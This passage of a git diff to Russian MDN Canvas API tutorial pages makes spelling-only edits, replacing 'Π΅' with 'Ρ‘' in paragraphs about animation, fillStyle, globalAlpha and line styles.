ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ вычислСнных Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, Π½ΠΎ я Π½Π΅ Π³ΡƒΡ€Ρƒ ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΠΈ, поэтому всС, вСроятно, ΠΌΠΎΠΆΠ½ΠΎ Π±Ρ‹Π»ΠΎ Π±Ρ‹ Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ быстрСС.</p>
<p>ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, ΠΎΠ½ оставляСт ΠΆΠ΅Π»Π°Ρ‚ΡŒ Π»ΡƒΡ‡ΡˆΠ΅Π³ΠΎ с Ρ‚ΠΎΡ‡ΠΊΠΈ зрСния ΠΏΠΎΠΏΡ‹Ρ‚ΠΎΠΊ Π±Ρ‹Ρ‚ΡŒΒ ΠΈΠ³Ρ€ΠΎΠ²Ρ‹ΠΌ Π΄Π²ΠΈΠΆΠΊΠΎΠΌβ€”Π½Π΅Ρ‚ тСкстур стСн, Π½Π΅Ρ‚ спрайтов, Π½Π΅Ρ‚ Π΄Π²Π΅Ρ€Π΅ΠΉ, Π΄Π°ΠΆΠ΅ Π½Π΅Ρ‚ Ρ‚Π΅Π»Π΅ΠΏΠΎΡ€Ρ‚ΠΎΠ², Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΄ΠΎΠ±Ρ€Π°Ρ‚ΡŒΡΡ Π΄ΠΎ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ уровня. Но я ΡƒΠ²Π΅Ρ€Π΅Π½, Ρ‡Ρ‚ΠΎ всС эти Π²Π΅Ρ‰ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Ρ‹, Ρ‡Π΅Ρ€Π΅Π· Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ врСмя. Canvas API ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ пиксСльноС ΠΊΠΎΠΏΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ, поэтому тСкстуры ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Ρ‹. Π― ΠΎΡΡ‚Π°Π²Π»ΡŽ это для Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΡΡ‚Π°Ρ‚ΡŒΠΈ, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, ΠΎΡ‚ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ Ρ‡Π΅Π»ΠΎΠ²Π΅ΠΊΠ°. =)</p>
diff --git a/files/ru/web/api/canvas_api/tutorial/advanced_animations/index.html b/files/ru/web/api/canvas_api/tutorial/advanced_animations/index.html
index a1b7b04467..dddee8da38 100644
--- a/files/ru/web/api/canvas_api/tutorial/advanced_animations/index.html
+++ b/files/ru/web/api/canvas_api/tutorial/advanced_animations/index.html
@@ -364,7 +364,7 @@ ball.draw();
<h2 id="Breakout(Π°Ρ€ΠΊΠ°Π½ΠΎΠΈΠ΄)">Breakout(Π°Ρ€ΠΊΠ°Π½ΠΎΠΈΠ΄)</h2>
-<p>Π’ этой ΠΊΠΎΡ€ΠΎΡ‚ΠΊΠΎΠΉ Π³Π»Π°Π²Π΅ описаны Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΡ€ΠΈΠ΅ΠΌΡ‹ создания ΠΏΡ€ΠΎΠ΄Π²ΠΈΠ½ΡƒΡ‚ΠΎΠΉ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ.  Как насчСт Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Π±Ρ‹Β Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒΒ Π΄ΠΎΡΠΊΡƒ, ΠΊΠΈΡ€ΠΏΠΈΡ‡ΠΈΒ ΠΈ ΠΏΡ€Π΅Π²Ρ€Π°Ρ‚ΠΈΡ‚ΡŒΒ ΡΡ‚ΠΎΒ Π΄Π΅ΠΌΠΎΒ Π² ΠΈΠ³Ρ€Ρƒ Breakout(Π² Росси Π±ΠΎΠ»Π΅Π΅ извСстный ΠΊΠ»ΠΎΠ½ этой ΠΈΠ³Ρ€Ρ‹ - Π°Ρ€ΠΊΠ°Π½ΠΎΠΈΠ΄)? ΠŸΠΎΡΠ΅Ρ‚ΠΈΡ‚Π΅Β <a href="/en-US/docs/Games">Game development</a> Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ·Π½Π°Ρ‚ΡŒ большС ΠΎΠ± ΠΈΠ³Ρ€Π°Ρ….</p>
+<p>Π’ этой ΠΊΠΎΡ€ΠΎΡ‚ΠΊΠΎΠΉ Π³Π»Π°Π²Π΅ описаны Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΡ€ΠΈΡ‘ΠΌΡ‹ создания ΠΏΡ€ΠΎΠ΄Π²ΠΈΠ½ΡƒΡ‚ΠΎΠΉ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ.  Как насчёт Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Π±Ρ‹Β Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒΒ Π΄ΠΎΡΠΊΡƒ, ΠΊΠΈΡ€ΠΏΠΈΡ‡ΠΈΒ ΠΈ ΠΏΡ€Π΅Π²Ρ€Π°Ρ‚ΠΈΡ‚ΡŒΒ ΡΡ‚ΠΎΒ Π΄Π΅ΠΌΠΎΒ Π² ΠΈΠ³Ρ€Ρƒ Breakout(Π² Росси Π±ΠΎΠ»Π΅Π΅ извСстный ΠΊΠ»ΠΎΠ½ этой ΠΈΠ³Ρ€Ρ‹ - Π°Ρ€ΠΊΠ°Π½ΠΎΠΈΠ΄)? ΠŸΠΎΡΠ΅Ρ‚ΠΈΡ‚Π΅Β <a href="/en-US/docs/Games">Game development</a> Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ·Π½Π°Ρ‚ΡŒ большС ΠΎΠ± ΠΈΠ³Ρ€Π°Ρ….</p>
<h2 id="Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅_Ρ‚Π°ΠΊ_ΠΆΠ΅">Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ Ρ‚Π°ΠΊ ΠΆΠ΅</h2>
diff --git a/files/ru/web/api/canvas_api/tutorial/applying_styles_and_colors/index.html b/files/ru/web/api/canvas_api/tutorial/applying_styles_and_colors/index.html
index 7eea729bc2..9a750e66cc 100644
--- a/files/ru/web/api/canvas_api/tutorial/applying_styles_and_colors/index.html
+++ b/files/ru/web/api/canvas_api/tutorial/applying_styles_and_colors/index.html
@@ -21,7 +21,7 @@ original_slug: Web/API/Canvas_API/Tutorial/ΠŸΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠ΅_стилСй_ΠΈ_
<dd>УстанавливаСт ΡΡ‚ΠΈΠ»ΡŒ ΠΊΠΎΠ½Ρ‚ΡƒΡ€Π° Ρ„ΠΈΠ³ΡƒΡ€Ρ‹.Β </dd>
</dl>
-<p><em><code>colorΒ </code></em>ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Ρ†Π²Π΅Ρ‚ΠΎΠΌ, (<code>строка, прСдставлСнная Π²</code>Β CSS {{cssxref("&lt;color&gt;")}}), Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚ΠΎΠΌΒ ΠΈΠ»ΠΈ ΠΏΠ°Ρ‚Ρ‚Π΅Ρ€Π½ΠΎΠΌ. Π“Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚Ρ‹ ΠΈ ΠΏΠ°Ρ‚Ρ‚Π΅Ρ€Π½Ρ‹ ΠΌΡ‹ рассмотрим ΠΏΠΎΠ·ΠΆΠ΅. По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Ρ†Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π° ΠΈ ΠΊΠΎΠ½Ρ‚ΡƒΡ€Π° Β β€”Β Ρ‡Π΅Ρ€Π½Ρ‹ΠΉΒ (Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ CSS Ρ†Π²Π΅Ρ‚Π°Β Β <code>#000000</code>).</p>
+<p><em><code>colorΒ </code></em>ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Ρ†Π²Π΅Ρ‚ΠΎΠΌ, (<code>строка, прСдставлСнная Π²</code>Β CSS {{cssxref("&lt;color&gt;")}}), Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚ΠΎΠΌΒ ΠΈΠ»ΠΈ ΠΏΠ°Ρ‚Ρ‚Π΅Ρ€Π½ΠΎΠΌ. Π“Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚Ρ‹ ΠΈ ΠΏΠ°Ρ‚Ρ‚Π΅Ρ€Π½Ρ‹ ΠΌΡ‹ рассмотрим ΠΏΠΎΠ·ΠΆΠ΅. По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Ρ†Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π° ΠΈ ΠΊΠΎΠ½Ρ‚ΡƒΡ€Π° Β β€”Β Ρ‡Ρ‘Ρ€Π½Ρ‹ΠΉΒ (Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ CSS Ρ†Π²Π΅Ρ‚Π°Β Β <code>#000000</code>).</p>
<div class="note">
<p><strong>На Π·Π°ΠΌΠ΅Ρ‚ΠΊΡƒ:</strong> Когда Π²Ρ‹ устанавливаСтС  значСния <code>strokeStyle</code> ΠΈ/ΠΈΠ»ΠΈΒ <code>fillStyle</code>, Ρ‚ΠΎ Π½ΠΎΠ²ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ становится стандартным для всСх Ρ„ΠΈΠ³ΡƒΡ€, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ нарисованы с этого ΠΌΠΎΠΌΠ΅Π½Ρ‚Π°. Когда Π²Π°ΠΌ Π½ΡƒΠΆΠ΅Π½ Π΄Ρ€ΡƒΠ³ΠΎΠΉ Ρ†Π²Π΅Ρ‚, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΠ΅Ρ€Π΅Π·Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π²Β <code>fillStyle</code> ΠΈΠ»ΠΈ Π²Β <code>strokeStyle</code> для ΠΊΠ°ΠΆΠ΄ΠΎΠΉ Ρ„ΠΈΠ³ΡƒΡ€Ρ‹.</p>
@@ -39,7 +39,7 @@ ctx.fillStyle = "rgba(255,165,0,1)";
<h3 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€_fillStyle">ΠŸΡ€ΠΈΠΌΠ΅Ρ€ <code>fillStyle</code></h3>
-<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ ΠΎΠΏΡΡ‚ΡŒ Π²ΠΎΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡΡ Π΄Π²ΠΎΠΉΠ½Ρ‹ΠΌ Ρ†ΠΈΠΊΠ»ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π°Ρ€ΠΈΡΠΎΠ²Π°Ρ‚ΡŒ сСтку ΠΈΠ· ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠΎΠ², ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΈΠΌΠ΅Π΅Ρ‚ свой Ρ†Π²Π΅Ρ‚. ΠžΠΊΠΎΠ½Ρ‡Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ ΠΈΠΌΠ΅Ρ‚ΡŒ Π²ΠΈΠ΄, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½Π° ΡΠΊΡ€ΠΈΠ½ΡˆΠΎΡ‚Π΅. Π—Π΄Π΅ΡΡŒ Π½Π΅ происходит Π½ΠΈΡ‡Π΅Π³ΠΎ ΡΠ²Π΅Ρ€Ρ…ΡŠΠ΅ΡΡ‚Π΅ΡΡ‚Π²Π΅Π½Π½ΠΎΠ³ΠΎ. ΠœΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ Π΄Π²Π΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅Β <code>i</code>Β ΠΈΒ <code>j</code> для Π³Π΅Π½Π΅Ρ€Π°Ρ†ΠΈΠΈ ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎΒ RGB Ρ†Π²Π΅Ρ‚Π° для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π° ΠΈ измСняСм Ρ‚ΠΎΠ»ΡŒΠΊΠΎ красныС ΠΈ Π·Π΅Π»Π΅Π½Ρ‹Π΅ значСния. Π‘ΠΈΠ½ΠΈΠΉ ΠΊΠ°Π½Π°Π» прСдставляСт собой фиксированноС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅. ΠŸΡƒΡ‚Π΅ΠΌ измСнСния ΠΊΠ°Π½Π°Π»ΠΎΠ² Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ всю ΠΏΠ°Π»ΠΈΡ‚Ρ€Ρƒ. УвСличив количСство шагов Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄ΠΎΡΡ‚ΠΈΠ³Π½ΡƒΡ‚ΡŒ Ρ‚Π°ΠΊΠΎΠ³ΠΎΒ Π²ΠΈΠ΄Π° ΠΏΠ°Π»ΠΈΡ‚Ρ€Ρ‹, какая ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π² Photoshop.</p>
+<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ ΠΎΠΏΡΡ‚ΡŒ Π²ΠΎΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡΡ Π΄Π²ΠΎΠΉΠ½Ρ‹ΠΌ Ρ†ΠΈΠΊΠ»ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π°Ρ€ΠΈΡΠΎΠ²Π°Ρ‚ΡŒ сСтку ΠΈΠ· ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠΎΠ², ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΈΠΌΠ΅Π΅Ρ‚ свой Ρ†Π²Π΅Ρ‚. ΠžΠΊΠΎΠ½Ρ‡Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ ΠΈΠΌΠ΅Ρ‚ΡŒ Π²ΠΈΠ΄, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½Π° ΡΠΊΡ€ΠΈΠ½ΡˆΠΎΡ‚Π΅. Π—Π΄Π΅ΡΡŒ Π½Π΅ происходит Π½ΠΈΡ‡Π΅Π³ΠΎ ΡΠ²Π΅Ρ€Ρ…ΡŠΠ΅ΡΡ‚Π΅ΡΡ‚Π²Π΅Π½Π½ΠΎΠ³ΠΎ. ΠœΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ Π΄Π²Π΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅Β <code>i</code>Β ΠΈΒ <code>j</code> для Π³Π΅Π½Π΅Ρ€Π°Ρ†ΠΈΠΈ ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎΒ RGB Ρ†Π²Π΅Ρ‚Π° для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π° ΠΈ измСняСм Ρ‚ΠΎΠ»ΡŒΠΊΠΎ красныС ΠΈ Π·Π΅Π»Ρ‘Π½Ρ‹Π΅ значСния. Π‘ΠΈΠ½ΠΈΠΉ ΠΊΠ°Π½Π°Π» прСдставляСт собой фиксированноС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅. ΠŸΡƒΡ‚Ρ‘ΠΌ измСнСния ΠΊΠ°Π½Π°Π»ΠΎΠ² Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ всю ΠΏΠ°Π»ΠΈΡ‚Ρ€Ρƒ. УвСличив количСство шагов Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄ΠΎΡΡ‚ΠΈΠ³Π½ΡƒΡ‚ΡŒ Ρ‚Π°ΠΊΠΎΠ³ΠΎΒ Π²ΠΈΠ΄Π° ΠΏΠ°Π»ΠΈΡ‚Ρ€Ρ‹, какая ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π² Photoshop.</p>
<pre class="brush: js;highlight[5,6] notranslate">function draw() {
var ctx = document.getElementById('canvas').getContext('2d');
@@ -113,7 +113,7 @@ ctx.fillStyle = "rgba(255,0,0,0.5)";
<h3 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€_globalAlpha">ΠŸΡ€ΠΈΠΌΠ΅Ρ€ <code>globalAlpha</code></h3>
-<p>Π’ Π΄Π°Π½Π½ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ нарисуСм Ρ„ΠΎΠ½ ΠΈ Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π° с Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΌΠΈ Ρ†Π²Π΅Ρ‚Π°ΠΌΠΈ.Β  Π‘Π²Π΅Ρ€Ρ…Ρƒ изобраТСния Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π²Π΅Π΄Π΅Π½ Π½Π°Π±ΠΎΡ€ ΠΏΠΎΠ»ΡƒΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹Ρ… ΠΊΡ€ΡƒΠ³ΠΎΠ². Установим свойство <code>globalAlpha</code> Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ 0.2, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ использовано для всСх ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… Ρ„ΠΎΡ€ΠΌ. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ шаг Ρ†ΠΈΠΊΠ»Π° рисуСт круг с большим радиусом. По ΠΎΠΊΠΎΠ½Ρ‡Π°Π½ΠΈΡŽ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠΌ Ρ€Π°Π΄ΠΈΠ°Π»ΡŒΠ½Ρ‹ΠΉ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚. Накладывая Π΅Ρ‰Π΅ большС ΠΊΡ€ΡƒΠ³ΠΎΠ² Π΄Ρ€ΡƒΠ³ Π½Π° Π΄Ρ€ΡƒΠ³Π°, ΠΌΡ‹ фактичСски смоТСм ΡƒΠΌΠ΅Π½ΡŒΡˆΠΈΡ‚ΡŒ ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½ΠΎΡΡ‚ΡŒ Ρ€Π°Π½Π΅Π΅ нарисованных ΠΊΡ€ΡƒΠ³ΠΎΠ². Π£Π²Π΅Π»ΠΈΡ‡ΠΈΠ² счСтчик ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΉ, ΠΏΡ€ΠΈ этом рисуя Π΅Ρ‰Π΅ ΠΊΡ€ΡƒΠ³ΠΈ, ΠΌΡ‹ смоТСм Π΄ΠΎΠ±ΠΈΡ‚ΡŒΡΡ исчСзновСниС Ρ†Π΅Π½Ρ‚Ρ€Π° изобраТСния.</p>
+<p>Π’ Π΄Π°Π½Π½ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ нарисуСм Ρ„ΠΎΠ½ ΠΈ Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π° с Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΌΠΈ Ρ†Π²Π΅Ρ‚Π°ΠΌΠΈ.Β  Π‘Π²Π΅Ρ€Ρ…Ρƒ изобраТСния Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π²Π΅Π΄Π΅Π½ Π½Π°Π±ΠΎΡ€ ΠΏΠΎΠ»ΡƒΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹Ρ… ΠΊΡ€ΡƒΠ³ΠΎΠ². Установим свойство <code>globalAlpha</code> Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ 0.2, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ использовано для всСх ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… Ρ„ΠΎΡ€ΠΌ. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ шаг Ρ†ΠΈΠΊΠ»Π° рисуСт круг с большим радиусом. По ΠΎΠΊΠΎΠ½Ρ‡Π°Π½ΠΈΡŽ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠΌ Ρ€Π°Π΄ΠΈΠ°Π»ΡŒΠ½Ρ‹ΠΉ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚. Накладывая Π΅Ρ‰Ρ‘ большС ΠΊΡ€ΡƒΠ³ΠΎΠ² Π΄Ρ€ΡƒΠ³ Π½Π° Π΄Ρ€ΡƒΠ³Π°, ΠΌΡ‹ фактичСски смоТСм ΡƒΠΌΠ΅Π½ΡŒΡˆΠΈΡ‚ΡŒ ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½ΠΎΡΡ‚ΡŒ Ρ€Π°Π½Π΅Π΅ нарисованных ΠΊΡ€ΡƒΠ³ΠΎΠ². Π£Π²Π΅Π»ΠΈΡ‡ΠΈΠ² счётчик ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΉ, ΠΏΡ€ΠΈ этом рисуя Π΅Ρ‰Ρ‘ ΠΊΡ€ΡƒΠ³ΠΈ, ΠΌΡ‹ смоТСм Π΄ΠΎΠ±ΠΈΡ‚ΡŒΡΡ исчСзновСниС Ρ†Π΅Π½Ρ‚Ρ€Π° изобраТСния.</p>
<pre class="brush: js;highlight[15] notranslate">function draw() {
var ctx = document.getElementById('canvas').getContext('2d');
@@ -195,22 +195,22 @@ ctx.fillStyle = "rgba(255,0,0,0.5)";
<dt>{{domxref("CanvasRenderingContext2D.miterLimit", "miterLimit = value")}}</dt>
<dd>УстанавливаСт ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΠ΅ Π½Π° ΠΌΠΈΡ‚Ρ€Ρƒ, ΠΊΠΎΠ³Π΄Π° Π΄Π²Π΅ Π»ΠΈΠ½ΠΈΠΈ ΡΠΎΠ΅Π΄ΠΈΠ½ΡΡŽΡ‚ΡΡ ΠΏΠΎΠ΄ острым ΡƒΠ³Π»ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ ΠΌΠΎΠ³Π»ΠΈ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΅Ρ‘ Ρ‚ΠΎΠ»Ρ‰ΠΈΠ½Ρƒ.</dd>
<dt>{{domxref("CanvasRenderingContext2D.getLineDash", "getLineDash()")}}</dt>
- <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ массив Ρ‚ΠΈΡ€Π΅ ΡˆΡ‚Ρ€ΠΈΡ…ΠΎΠ²ΠΊΠΈ, содСрТащий Ρ‡Π΅Ρ‚Π½ΠΎΠ΅ число Π½Π΅ΠΎΡ‚Ρ€ΠΈΡ†Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… чисСл.</dd>
+ <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ массив Ρ‚ΠΈΡ€Π΅ ΡˆΡ‚Ρ€ΠΈΡ…ΠΎΠ²ΠΊΠΈ, содСрТащий Ρ‡Ρ‘Ρ‚Π½ΠΎΠ΅ число Π½Π΅ΠΎΡ‚Ρ€ΠΈΡ†Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… чисСл.</dd>
<dt>{{domxref("CanvasRenderingContext2D.setLineDash", "setLineDash(segments)")}}</dt>
<dd>УстанавливаСт Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ ΠΏΡƒΠ½ΠΊΡ‚ΠΈΡ€ Π»ΠΈΠ½ΠΈΠΈ.</dd>
<dt>{{domxref("CanvasRenderingContext2D.lineDashOffset", "lineDashOffset = value")}}</dt>
<dd>Π£ΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Π³Π΄Π΅ слСдуСт Π½Π°Ρ‡ΠΈΠ½Π°Ρ‚ΡŒ Ρ‚ΠΈΡ€Π΅ массива Π² строкС.</dd>
</dl>
-<p>Π’Ρ‹ Π»ΡƒΡ‡ΡˆΠ΅ ΠΏΠΎΠΉΠΌΠ΅Ρ‚Π΅, Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ Π΄Π΅Π»Π°ΡŽΡ‚, глядя Π½Π° ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹Π΅ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹.</p>
+<p>Π’Ρ‹ Π»ΡƒΡ‡ΡˆΠ΅ ΠΏΠΎΠΉΠΌΡ‘Ρ‚Π΅, Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ Π΄Π΅Π»Π°ΡŽΡ‚, глядя Π½Π° ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹Π΅ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹.</p>
<h3 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€_lineWidth">ΠŸΡ€ΠΈΠΌΠ΅Ρ€ <code>lineWidth</code></h3>
-<p>Π­Ρ‚ΠΎ свойство Π·Π°Π΄Π°Π΅Ρ‚ Ρ‚ΠΎΠ»Ρ‰ΠΈΠ½Ρƒ Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ строки. ЗначСния Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ. По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ для этого значСния установлСно 1.0 Π΅Π΄ΠΈΠ½ΠΈΡ†Ρ‹.</p>
+<p>Π­Ρ‚ΠΎ свойство Π·Π°Π΄Π°Ρ‘Ρ‚ Ρ‚ΠΎΠ»Ρ‰ΠΈΠ½Ρƒ Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ строки. ЗначСния Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ. По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ для этого значСния установлСно 1.0 Π΅Π΄ΠΈΠ½ΠΈΡ†Ρ‹.</p>
